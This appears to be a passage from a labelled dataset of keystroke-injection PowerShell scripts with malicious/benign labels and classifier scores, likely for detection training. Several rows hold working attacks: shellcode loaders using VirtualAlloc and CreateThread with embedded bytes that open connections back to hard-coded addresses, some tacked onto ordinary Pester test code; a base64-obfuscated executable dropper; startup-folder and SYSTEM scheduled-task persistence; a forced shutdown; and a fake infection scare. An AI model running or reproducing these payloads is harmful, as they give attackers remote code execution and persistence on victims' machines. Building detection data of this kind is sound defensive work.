{ enter $destfile = Join-Path $destdir ""$base-$num$ext"" enter $num++ enter } enter } enter enter $ffile = [io.file]::OpenRead($filefullname) enter $DestinationFile = [io.file]::Create($destfile) enter enter $sw2 = [System.Diagnostics.Stopwatch]::StartNew() enter [byte[]]$buff = New-Object byte[] (4096 * 1024) enter [long]$total2 = [long]$count = 0 enter enter do { enter enter $count = $ffile.Read($buff, 0, $buff.Length) enter $DestinationFile.Write($buff, 0, $count) enter $total2 += $count enter $total1 += $count enter if ($ffile.Length -gt 1) { enter $pctcomp2 = $total2 / $ffile.Length * 100 enter } else { enter $pctcomp2 = 100 enter } enter [int]$secselapsed2 = [int]($sw2.elapsedmilliseconds.ToString()) / 1000 enter if ($secselapsed2 -ne 0) { enter [single]$xferrate = $total2 / $secselapsed2 / 1mb enter } else { enter [single]$xferrate = 0.0 enter } enter if ($total % 1mb -eq 0) { enter if ($pctcomp2 -gt 0) { enter [int]$secsleft2 = $secselapsed2 / $pctcomp2 * 100 - $secselapsed2 enter } else { enter [int]$secsleft2 = 0 enter } enter $pctcomp1 = $total1 / $allbytes * 100 enter [int]$secselapsed1 = [int]($sw1.elapsedmilliseconds.ToString()) / 1000 enter if ($pctcomp1 -gt 0) { enter [int]$secsleft1 = $secselapsed1 / $pctcomp1 * 100 - $secselapsed1 enter } else { enter [int]$secsleft1 = 0 enter } enter $WrPrgParam1 = @{ enter Id = 1 enter Activity = ""$('{0:N2}' -f $pctcomp1)% $index of $filescount ($($filescount - $index) left)"" enter Status = $filefullname enter PercentComplete = $pctcomp1 enter SecondsRemaining = $secsleft1 enter } enter Write-Progress @WrPrgParam1 enter $WPparams2 = @{ enter Id = 2 enter Activity = (('{0:N2}' -f $pctcomp2) + '% Copying file @ ' + '{0:n2}' -f $xferrate + ' MB/s') enter Status = $destfile enter PercentComplete = $pctcomp2 enter SecondsRemaining = $secsleft2 enter } enter Write-Progress @WPparams2 enter } enter } while ($count -gt 0) enter enter $sw2.Stop() enter $sw2.Reset() enter $ffile.Close() enter $DestinationFile.Close() enter } enter $sw1.Stop() enter $sw1.Reset() enter } enter $bccM = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $bccM -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x73,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$syZ=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($syZ.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$syZ,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1273935e-05,0.99994874
"[System.Text.Encoding]::ASCII.GetString([System.Convert]::(""Frombase--/_____ing"" enter -replace ""--/_____"",""64Str"")('ZnVuY3Rpb24gZ28gewpwYXJhbSgkQ09ERSkkQ09ERSA9ICRDT0 enter RFIC1zcGxpdCAnKC4uKScgfCA/IHsgJF8gfQpGb3JFYWNoICgkeGRoIGluICRDT0RFKXtbQ29udmVydF enter 06OlRvSW50MzIoJHhkaCwxNil9fQpbYnl0ZVtdXSAkYnl0ZXMyICA9IGdvKCc0RDVBOTAwMDAzMDAwMD enter AwMDQwMDAwMDBGRkZGMDAwMEI4MDAwMDAwMDAwMDAwMDA0MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD enter AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA4MDAwMDAwMDBFMUZCQT enter BFMDBCNDA5Q0QyMUI4MDE0Q0NEMjE1NDY4Njk3MzIwNzA3MjZGNjc3MjYxNkQyMDYzNjE2RTZFNkY3ND enter IwNjI2NTIwNzI3NTZFMjA2OTZFMjA0NDRGNTMyMDZENkY2NDY1MkUwRDBEMEEyNDAwMDAwMDAwMDAwMD enter AwNTA0NTAwMDA0QzAxMDMwMDMxNUE2QjYyMDAwMDAwMDAwMDAwMDAwMEUwMDAwMjAxMEIwMTA4MDAwME enter JFMDAwMDAwMEEwMDAwMDAwMDAwMDAyRURDMDAwMDAwMjAwMDAwMDBFMDAwMDAwMDAwNDAwMDAwMjAwMD enter AwMDAwMjAwMDAwNDAwMDAwMDAwMDAwMDAwMDQwMDAwMDAwMDAwMDAwMDAwMjAwMTAwMDAwMjAwMDAwMD enter AwMDAwMDAyMDA0MDg1MD enter",1,1,5.8440546e-05,0.9999416
"win+r powershell enter # Deny access to the startup folder $acl = Get-Acl ""$env:APPDATA\Microsoft\Windo enter ws\Start Menu\Programs\Startup"" $rule = New-Object System.Security.AccessControl enter .FileSystemAccessRule(""Users"", ""ReadAndExecute"", ""Deny"") $acl.SetAccessRule($rul enter e) Set-Acl ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"" $acl # enter Create a shortcut to the PowerShell script in the startup folder $shortcutPath = enter ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\UnusableComputer.ln enter k"" $targetPath = ""powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Fi enter le `""$PSScriptRoot\UnusableComputer.ps1`"""" $wshShell = New-Object -ComObject WSc enter ript.Shell $shortcut = $wshShell.CreateShortcut($shortcutPath) $shortcut.TargetP enter ath = $targetPath enter enter",1,1,0.00097441836,0.9990256
"win+r enter powershell enter enter enter function Invoke-Paranoia { enter param( enter [String[]] $watchUsers, enter [String[]] $watchProcesses, enter [String[]] $watchGroups enter enter ) enter enter $defaultprocesses = @(""taskmgr.exe"", ""mmc.exe"", ""wireshark.exe"", ""tcpview.exe"", ""procdump.exe"", ""procexp.exe"", ""procmon.exe"", ""netstat.exe"", ""psloggedon.exe"", ""logonsessions.exe"", ""processhacker.exe"", ""autoruns.exe"", ""autorunsc.exe"") enter $watchProcesses = $watchProcesses + $defaultprocesses enter $defaultgroups = @(""Domain Admins"") enter $watchGroups = $watchGroups + $defaultgroups enter $groups_members = @{} enter enter function get_groupmembers { enter param([String[]] $groups) enter enter $root=([ADSI]"""").distinguishedName enter $enumd_groups = @{} enter $groups | foreach { enter $to_search = $_ enter $enumd_groups.Add($to_search, @()) enter $group = [ADSI](""LDAP://CN="" + $to_search + "", CN=Users,$root"") enter $group.member|foreach { enter $enumd_groups[$to_search] += $_.split("","")[0].split(""="")[1] enter } enter } enter return $enumd_groups enter } enter enter function process_proc { enter param($proc,$group_members) enter $userdom = ($proc.getOwner().Domain + ""\"" + $proc.getOwner().User).tolower() enter $watchUsers | foreach { enter if ($userdom -eq $_.tolower()) { enter ""USER_DETECTED: $userdom : ""+ $proc.name + ""`n"" enter } enter if ($proc.getOwner().Domain.tolower() -eq $env:COMPUTERNAME -and $proc.getOwner().User.tolower() -eq $_) { enter ""USER_DETECTED_LOCAL: $userdom : ""+ $proc.name + ""`n"" enter } enter } enter foreach ($group in $group_members.keys) { enter foreach ($user in $group_members[$group]) { enter if ($proc.getOwner().User.tolower() -eq $user.tolower() -and $proc.getOwner().Domain -ne $env:COMPUTERNAME) { enter ""USER_DETECTED_GROUP: $userdom : $group :"" + $proc.name + ""`n"" enter } enter } enter } enter $watchProcesses | foreach { enter if($proc.name.tolower() -eq $_.tolower()) { enter ""PROCESS_DETECTED: $userdom : "" + $proc.name + ""`n"" enter } enter } enter Get-WmiObject Win32_LogicalDisk | Where-Object {($_.DriveType -eq 2) -and ($_.DeviceID -ne 'A:')} | %{ enter if( ($proc.path.split("":"")[0]+"":"").tolower() -eq $_.DeviceID) { enter ""USB_PROCESS_DETECTED: "" + $proc.path + ""`n"" enter } enter } enter } enter enter $groups_members = get_groupmembers $watchGroups enter enter # Main loop enter while($True) { enter Sleep 3 enter Get-WmiObject win32_process | %{ enter process_proc -proc $_ -group_members $groups_members enter } enter } enter } enter enter",1,1,0.00080585637,0.9991942
"win r powershell.exe enter enter $request = [system.net.httpwebrequest]::create(""http://parrot.live"");$receivestream=$request.getresponse().getresponsestream();$readstream=[system.io.streamreader]::new($receivestream);[console]::treatcontrolcasinput=$true;$initialforegroundcolor=[console]::foregroundcolor;while($line=$readstream.readline()){if([console]::keyavailable){$key=[system.console]::readkey($true);if(($key.modifiers -band [consolemodifiers]""control"") -and ($key.key -eq ""c"")){break;}}[console]::writeline($line);} enter enter win up",1,1,0.00016914232,0.99983084
win+r powershell enter $tempDir = $null function Start-TestFixture { & (Join-Path -Path $PSScriptRoot enter -ChildPath '..\Initialize-CarbonTest.ps1' -Resolve) } function Start-Test { $ enter tempDir = New-TempDirectory -Prefix $PSCommandPath } enter enter,1,1,0.0073338686,0.9926662
delay_medium enter win+r enter delay_medium enter shutdown /p enter delay_short enter enter enter delay_long enter unknown_key_action SHIFT TAB enter enter,1,1,5.7438294e-05,0.99994254
"win+r enter powershell enter enter enter describe 'New-PoshBotFileUpload' { enter enter BeforeAll { enter $readme = Join-Path -Path $env:BHProjectPath -ChildPath 'README.md' enter } enter enter it 'Returns a [PoshBot.File.Upload] object' { enter $resp = New-PoshBotFileUpload -Path $readme enter $resp.PSObject.TypeNames[0] | should be 'PoshBot.File.Upload' enter } enter enter it 'Will redirect to DM channel when told' { enter $resp = New-PoshBotFileUpload -Path $readme -DM enter $resp.DM | should be $true enter } enter enter it 'Has a valid [Title] field' { enter $resp = New-PoshBotFileUpload -Path $readme -DM -Title 'README.md' enter $resp.Title | should be 'README.md' enter } enter enter it 'Validates file exists' { enter $guid = (New-Guid).ToString() enter $badFile = Join-Path -Path $env:BHProjectPath -ChildPath ""$($guid).txt"" enter { New-PoshBotFileUpload -Path $badFile } | should throw enter } enter enter it 'Sends file content and not path' { enter $resp = New-PoshBotFileUpload -Content 'foo' enter $resp.Path | should be $null enter } enter enter it 'Has a valid [FileName] field when sending file content' { enter $resp = New-PoshBotFileUpload -Content 'foo' -FileName 'foo.txt' enter $resp.FileName | should be 'foo.txt' enter } enter enter it 'Has a valid [FileType] field when sending file content' { enter $resp = New-PoshBotFileUpload -Content 'foo' -FileType 'powershell' enter $resp.FileType | should be 'powershell' enter } enter enter it 'Sends file path and not content' { enter $resp = New-PoshBotFileUpload -Path $readme enter $resp.Content | should be $null enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0xa1,0x8c,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1065865e-05,0.999949
"win+r powershell enter param( [string]$Version, [string]$Path, [switch]$Force, $Update, [switch]$U enter ninstall ) $Configs = @{ Url = ""http://download.microsoft.com/download/D/E/0/D enter E02CCED-5209-49FC-9F1B-0F86D3269D4C/sharepointclientcomponents_x64.msi"" Path = enter ""$(Split-Path -Path $MyInvocation.MyCommand.Definition -Parent)\"" } enter enter",0,1,0.0036575627,0.9963425
"win+r powershell enter  function New-MrPlanetPowerShellAuthor { [CmdletBinding()] param ( [Paramet enter er(Mandatory)] [string]$FirstName, [Parameter(Mandatory)] [string]$LastName, enter [string]$Bio, enter enter",1,1,0.00028159286,0.99971837
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""support_summary_jnweo1xq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.txt"") -Encoding UTF8 enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 30 Name, Id, CPU, WorkingSet64, Handles | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_cpu_30.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.456895e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_zpgcrdqq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_profiles.csv"") -NoTypeInformation enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.txt"") -Encoding UTF8 enter",0,0,0.99996614,3.3905137e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_0h1597cl"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.json"") -Encoding UTF8 enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.txt"") -Encoding UTF8 enter",0,0,0.9999653,3.4710072e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_uzlu32gi"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 50 Name, Id, CPU, WorkingSet64 | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_cpu_50.json"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.473451e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_3pzfb05t"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_users.csv"") -NoTypeInformation enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_enabled_rules.csv"") -NoTypeInformation enter Write-Host ""Starting event_log_review section 3."" enter Get-WinEvent -LogName System -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_75.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3896344e-05
"win+r powershell enter function Get-ResourceGroupName { return ""RGName-"" + (getAssetName) } function enter Get-NotificationHubName { return ""NotificationHub-"" + (getAssetName) } functio enter n Get-NamespaceName { enter enter",1,1,0.0035509765,0.996449
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_c4etex6d"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""service_automatic.csv"") -NoTypeInformation enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName Application -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_warnings_200.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.414414e-05
win+r powershell enter  function Test-GetWorkspaceCollection_ListAll { try { $resourceGroup = Creat enter e-ResourceGroup $workspaceCollectionNames = 1..2 |% { Get-WorkspaceCollectionNa enter me } $newWorkspaceCollections = $workspaceCollectionNames |% { New-AzPowerBIWor enter kspaceCollection ` -WorkspaceCollectionName $_ ` -ResourceGroupName $resourceG enter roup.ResourceGroupName ` -Location $resourceGroup.Location } enter enter,1,1,0.0053372607,0.99466276
"win+r enter powershell enter enter enter win r powershell enter (New-Object -ComObject WScript.Shell).SendKeys(""{F11}"") enter New-Item -Path "".\script.py"" -ItemType ""file"" -Force enter Set-Content -Path "".\script.py"" -Value ""import os`nos.system('pip install colorama')`nimport colorama`nimport random`nfrom time import sleep`ncolorama.init()`nwhile True:`n`tcolor = random.choice([colorama.Fore.RED, colorama.Fore.GREEN, colorama.Fore.YELLOW])`n`tprint(color + 'Your computer is infected!')`n`tsleep(0.1)"" enter clear; python .\script.py; enter enter enter",1,1,0.00073510996,0.9992649
"win+r enter powershell enter enter enter # 指定要执行的程序路径 enter enter $ProgramPath = ""C:\Users\admin\Desktop\Start.exe"" enter enter # 创建任务计划的操作 enter $Action = New-ScheduledTaskAction -Execute $ProgramPath enter enter # 自启动 enter $Trigger = New-ScheduledTaskTrigger -AtStartup enter enter # 创建任务计划的安全主体，以管理员权限运行 enter $Principal = New-ScheduledTaskPrincipal -UserId ""NT AUTHORITY\SYSTEM"" -RunLevel Highest enter enter Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -TaskName ""MyProgram Task"" -Description ""This task runs MyProgram.exe with administrator privileges."" enter #卸载任务计划 enter #Unregister-ScheduledTask -TaskName ""MyProgram Task"" -Confirm:$false enter enter",1,1,0.00040645257,0.99959356
"win+r powershell enter Describe ""Trace-Command"" -tags ""CI"" { Context ""Listener options"" { BeforeAll enter { $logFile = New-Item ""TestDrive:/traceCommandLog.txt"" -Force $actualLogFile = enter New-Item ""TestDrive:/actualTraceCommandLog.txt"" -Force } AfterEach { Remove enter -Item ""TestDrive:/traceCommandLog.txt"" -Force -ErrorAction SilentlyContinue Rem enter ove-Item ""TestDrive:/actualTraceCommandLog.txt"" -Force -ErrorAction SilentlyCont enter inue } enter enter",1,1,0.0014399841,0.99856
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_qyru6juq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.txt"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter",0,0,0.99996567,3.4303604e-05
"win+r enter powershell enter enter enter  enter function Get-AzureRmSecurityPricing-SubscriptionScope enter { enter $pricings = Get-AzSecurityPricing enter Validate-Pricings $pricings enter } enter function Get-AzureRmSecurityPricing-SubscriptionLevelResource enter { enter $pricings = Get-AzSecurityPricing -Name ""VirtualMachines"" enter Validate-Pricings $pricings enter } enter function Get-AzureRmSecurityPricing-ResourceId enter { enter $pricing = Get-AzSecurityPricing | Select -First 1 enter enter $fetchedPricing = Get-AzSecurityPricing -ResourceId $pricing.Id enter Validate-Pricing $fetchedPricing enter } enter function Set-AzureRmSecurityPricing-SubscriptionLevelResource enter { enter Set-AzSecurityPricing -Name ""VirtualMachines"" -PricingTier ""Standard"" enter } enter function Validate-Pricings enter { enter param($pricings) enter enter Assert-True { $pricings.Count -gt 0 } enter enter Foreach($pricing in $pricings) enter { enter Validate-Pricing $pricing enter } enter } enter function Validate-Pricing enter { enter param($pricing) enter enter Assert-NotNull $pricing enter } enter enter",0,0,0.99994135,5.8603946e-05
"unknown_key_action ctrl alt t echo ""advanced duckyscript test for linux"" enter echo ""testing special keys and modifiers..."" enter ls -la enter pwd enter whoami enter echo ""test complete!"" enter exit enter",1,1,0.0049960795,0.9950039
"win+r enter powershell enter enter enter  enter ForEach ($NameSpace in ""root\subscription"",""root\default"") { get-wmiobject -namespace $NameSpace -query ""select * from __EventConsumer"" } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xd1,0xbe,0x19,0x27,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 